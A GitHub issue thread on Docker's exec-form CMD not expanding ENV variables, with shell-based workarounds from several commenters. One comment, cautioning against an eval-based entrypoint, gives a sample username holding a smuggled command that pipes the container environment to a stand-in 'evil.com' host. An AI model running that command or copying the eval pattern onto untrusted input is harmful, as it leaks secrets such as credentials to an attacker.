Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Dockerfile CMD doesn't understand ENV variables #5509

Closed
mikea opened this issue Apr 30, 2014 · 34 comments · Fixed by #8360
Closed

Dockerfile CMD doesn't understand ENV variables #5509

mikea opened this issue Apr 30, 2014 · 34 comments · Fixed by #8360

Comments

@mikea
Copy link

mikea commented Apr 30, 2014

Similar to #1136.

I want to be able to say CMD [ "$CATALINA_HOME/bin/catalina.sh", "run"]

@sayden
Copy link

sayden commented May 1, 2014

Have you tried this way?

CMD [ "${CATALINA_HOME}/bin/catalina.sh", "run"]

@mikea
Copy link
Author

mikea commented May 2, 2014

Yes. It doesn't work: docker run -P -i -t tomcat gives me:

2014/04/30 17:52:12 exec: "${CATALINA_HOME}/bin/catalina.sh": stat ${CATALINA_HOME}/bin/catalina.sh: no such file or directory

@sayden
Copy link

sayden commented May 2, 2014

I can confirm this. Using a Dockerfile with this

ENV MY_HOME /opt
CMD ["echo", "$MY_HOME"]

And it doesn't work on the build of the image. However, it work when you enter through /bin/bash (docker run [image] /bin/bash) and type:

echo $MY_HOME

Will print:

/opt

I have also tried:

CMD ["echo", "${MY_HOME}"]
CMD ["echo", "MY_HOME"]
CMD ["echo $MY_HOME"]
CMD ["echo ${MY_HOME}"]

With no luck.

I'll keep trying to work around this issue

@tianon
Copy link
Member

tianon commented May 5, 2014

Try CMD echo ${MY_HOME} or CMD ["sh", "-c", "echo ${MY_HOME}"] and you should have more luck.

The explanation is that the shell is responsible for expanding environment variables, not Docker. When you use the JSON syntax, you're explicitly requesting that your command bypass the shell and be execed directly.

@sfitts
Copy link

sfitts commented Jun 5, 2014

Confirmed that the form CMD ["sh", "-c", "echo ${MY_HOME}"] works as expected. I'm assuming the other form will as well.

Might be nice to add a note about this to the documentation.

duglin pushed a commit to duglin/docker that referenced this issue Oct 3, 2014
Closes moby#5509

Signed-off-by: Doug Davis <dug@us.ibm.com>
sreinhardt pushed a commit to sreinhardt/Docker-TestingSuite that referenced this issue Oct 6, 2014
According to (moby/moby#5509) cmd does not work with env vars unless entrypoint is calling shell. Due to dictionary usage instead of strings, we get raw mysqld_safe instead of /bin/sh -c ../mysqld_safe. Not a big deal, just needed to be accounted for.
nathanleclaire pushed a commit to nathanleclaire/docker that referenced this issue Oct 12, 2014
Closes moby#5509

Signed-off-by: Doug Davis <dug@us.ibm.com>
nikolaynag added a commit to nikolaynag/docker that referenced this issue Feb 17, 2017
@andho
Copy link

andho commented Jul 18, 2017

And based on @sfitts logic, as CMD is passed to the ENTRYPOINT as an argument, the following is possible:

Dockerfile:

FROM ubuntu:16.04

env MY_HOME /opt
ADD start.sh /start.sh
ENTRYPOINT ["/start.sh"]
CMD ["echo", "${MY_HOME}"]

start.sh

#!/bin/bash

/bin/bash -l -c "$*"

@dejayc
Copy link

dejayc commented Sep 7, 2017

I'd like this issue to be reopened.

The "answer" as provided above is merely a workaround, punting the expansion of ENV variables to the shell. I can immediately think of several scenarios in which this workaround is insufficient.

EDIT: Please see issue #34772, which I just created as a correlation for ARG directives. The use cases I mention there have possible overlap with the issues with ENV.

@spanktar
Copy link

+1 to @dejayc

@ryanjaeb
Copy link

I think this is a good example where shell expansion doesn't work. The container is built from scratch, so it has a single binary and no shell.

randomorder added a commit to geosolutions-it/docker-gs-base that referenced this issue Jan 10, 2018
randomorder added a commit to geosolutions-it/docker-gs-base that referenced this issue Jan 10, 2018
@abiosoft
Copy link

In case this may be useful for anyone, I wrote a small Go script to achieve this. Wrapping with shell script works but does not forward OS signals to the process.

https://github.com/abiosoft/parent

@akravetz
Copy link

+1 many of us are using the ENTRYPOINT ["docker-entrypoint.sh"] CMD ["something", "${VARIABLE"] pattern where this fails. The last line of docker-entrypoint.sh is typically exec $@ which will not expand variables. The current proposed work-around does not handle OS signal forwarding gracefully.

v1v added a commit to v1v/hey-apm that referenced this issue Jul 30, 2019
@lonix1
Copy link

lonix1 commented Aug 12, 2019

Another workaround is to move the command into the script. And in there you'll get variable expansion.

@ariebrainware
Copy link

ariebrainware commented Sep 9, 2019

ENV var doesn't work using scratch image, any idea how to fix it?

I've tried

FROM scratch
ENV CONFIG=config/dev.json
COPY --from=builder /config /config
COPY --from=builder /rush-rbac /rush-rbac
ENTRYPOINT [ "/rush-rbac","--config=${CONFIG}" ] # or
# CMD [ "/rush-rbac --config=${CONFIG}"]

@andho
Copy link

andho commented Sep 9, 2019

I think this is a good example where shell expansion doesn't work. The container is built from scratch, so it has a single binary and no shell.

@ryanjaeb
Wouldn't the env vars be available within the app, and so it would not need variable expansion during call time? Assuming it's your own binary.

@ryanjaeb
Copy link

ryanjaeb commented Oct 2, 2019

@andho Yes. I tried it a couple weeks ago and the env vars are always available within the app. I've been trying to remember what I was getting stuck on and can't. It for sure would have been a 3rd party binary I was trying to build into a container, so maybe it was just doing something odd and I didn't notice.

I'm curious how the app ends up with access to the expanded env vars if the shell is responsible for expanding them. Is that a Go specific thing? When I tested it I noticed that if I use exec.Command(...).Run() to run another Go binary it also gets access to the env vars.

@andho
Copy link

andho commented Oct 8, 2019

@ryanjaeb The apps will have access to the environment variables in the environment it's run within. The shell is also an app, which is used to call other apps. So the apps called from within the shell also has access to env vars. But most apps take input/config through arguments instead of env vars, and that's where variable expansion is needed. Hope the explanation is clear.

@sjdonado
Copy link

Write the command without use the args array: ie CMD gunicorn --bind 0.0.0.0:$PORT wsgi:app

@sanyer
Copy link

sanyer commented Mar 16, 2021

Not sure if it's still relevant, but in order to use env vars in CMD I do this:

  1. Use shell format for CMD in Dockerfile.

  2. Strip "$@" of "/bin/sh -c" in docker-entrypoint.sh:

    if [ $# -gt 1 ] && [ x"$1" = x"/bin/sh" ] && [ x"$2" = x"-c" ]; then
        shift 2
        eval "set -- $1"
    fi

@rjshrjndrn
Copy link

rjshrjndrn commented Mar 26, 2021

The simplest solution I found was

ARG envarg
ENV ENTERPRISE_BUILD ${envarg}
CMD /usr/local/myapp local --no-autoreload --host 0.0.0.0 --stage ${ENTERPRISE_BUILD}

and docker build using

docker build --build-arg $envarg=staging -f ./Dockerfile -t local/test .

I think with and without [] makes some difference in CMD execution.

@sanyer
Copy link

sanyer commented Apr 12, 2021

@rjshrjndrn of course [] make a difference. Take a read here: https://docs.docker.com/engine/reference/builder/#cmd

Using shell form has a main drawback of no running your software as PID 1.

@rjshrjndrn
Copy link

@rjshrjndrn of course [] make a difference. Take a read here: https://docs.docker.com/engine/reference/builder/#cmd

Using shell form has a main drawback of no running your software as PID 1.

I'm using tiny as my init daemon.. So I hope I'm good there.

@dalei2019
Copy link

For python docker container, use this format:

ENV var=hello

CMD ["sh", "-c", "python a.py -p ${var}"]

@sanyer
Copy link

sanyer commented Apr 20, 2021

For python docker container, use this format:

ENV var=hello

CMD ["sh", "-c", "python a.py -p ${var}"]

This way shell is still used to execute process.
It's basically the same as:

ENV var=hello

CMD python a.py -p ${var}

Read this piece: https://docs.docker.com/engine/reference/builder/#cmd

@beporter
Copy link

Using the string form or sh -c breaks the ability to Ctrl-C out of docker run my-image. How can you use an ENV var in the CMD and still be able to interrupt the process?

@tianon
Copy link
Member

tianon commented Jul 30, 2021

Using the string form or sh -c breaks the ability to Ctrl-C out of docker run my-image. How can you use an ENV var in the CMD and still be able to interrupt the process?

@beporter you need to add exec (which is a POSIX shell feature):

CMD exec foo $BAR

@gelodefaultbrain
Copy link

gelodefaultbrain commented Jun 2, 2022

Try CMD echo ${MY_HOME} or CMD ["sh", "-c", "echo ${MY_HOME}"] and you should have more luck.

The explanation is that the shell is responsible for expanding environment variables, not Docker. When you use the JSON syntax, you're explicitly requesting that your command bypass the shell and be execed directly.

Apparently doesn't work for me :(

ENV MINS 1

ENTRYPOINT ["./entrypoint.sh"]
CMD ["python3","./folder/main.py","echo ${MINS}"]
main.py: error: argument mins: invalid int value: 'echo ${MINS}'

@ReXtrem
Copy link

ReXtrem commented Mar 8, 2023

This issue is not closed. Please reopen and fix it!

@tommed
Copy link

tommed commented Jun 5, 2023

I have the same problem:

CMD ["/web/service", "-config", "${CONFIG_PATH}"]

2023/06/05 15:33:19 config ..... ${CONFIG_PATH}
panic: open ${CONFIG_PATH}: no such file or directory

Using: Docker version 24.0.2, build cb74dfc on macOS 13.4 Ventura

@carrete
Copy link

carrete commented Jan 25, 2024

After coming across this issue in search of a solution and trying some of the workarounds, I eventually settled on:

ARG VERSION
ENV VERSION="${VERSION}"

RUN mkdir -p /opt/mvp/bin /opt/mvp/lib

COPY mvp/dist/mvp-standalone-"${VERSION}".jar /opt/mvp/lib/mvp-standalone-"${VERSION}".jar

RUN cat <<EOF > /opt/mvp/bin/run
java -jar /opt/mvp/lib/mvp-standalone-${VERSION}.jar
EOF

CMD ["sh", "-x", "/opt/mvp/bin/run"]

@n1ngu
Copy link

n1ngu commented Feb 6, 2024

Yet another workaround with shell's eval:

# Dockerfile
FROM whatever
ENV TEST=eval is not evil
COPY entrypoint.sh /entrypoint.sh
ENTRYPOINT ["bash", "/entrypoint.sh]
CMD ["echo", "$TEST"]
# entrypoint.sh
CMD=$(eval echo $@)
exec $CMD

Note this will probably defeat a user attempt to pass certain strings unevaled to your container. E.g. docker run -ti myimage echo 'th1$$3cr3tp4$w0rdw1llgoWr0ng'. So use with care, only if it makes sense for your image, and document this odd behaviour.

Also, obviously, do not use this approach with untrusted input (think about docker run myimage echo 'Greetings' '$USERNAME' were username is $(env | curl -X POST --data-binary @- http://evil.com/) and so)

@VioletFlare
Copy link

VioletFlare commented Feb 24, 2024

Here's what i did for an image running a node program to which i needed to pass a flag.

RUN echo "node bo-shodan.js \${ENV_FLAG}" > start.sh \ 
    && chown pptruser start.sh \
    && chmod u+x start.sh 

USER pptruser

CMD ["sh", "-c", "./start.sh" ]

In my case i start as root and set up a start.sh script which runs node with the env variable being a flag. Then i switch to my user and run the shell script.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging a pull request may close this issue.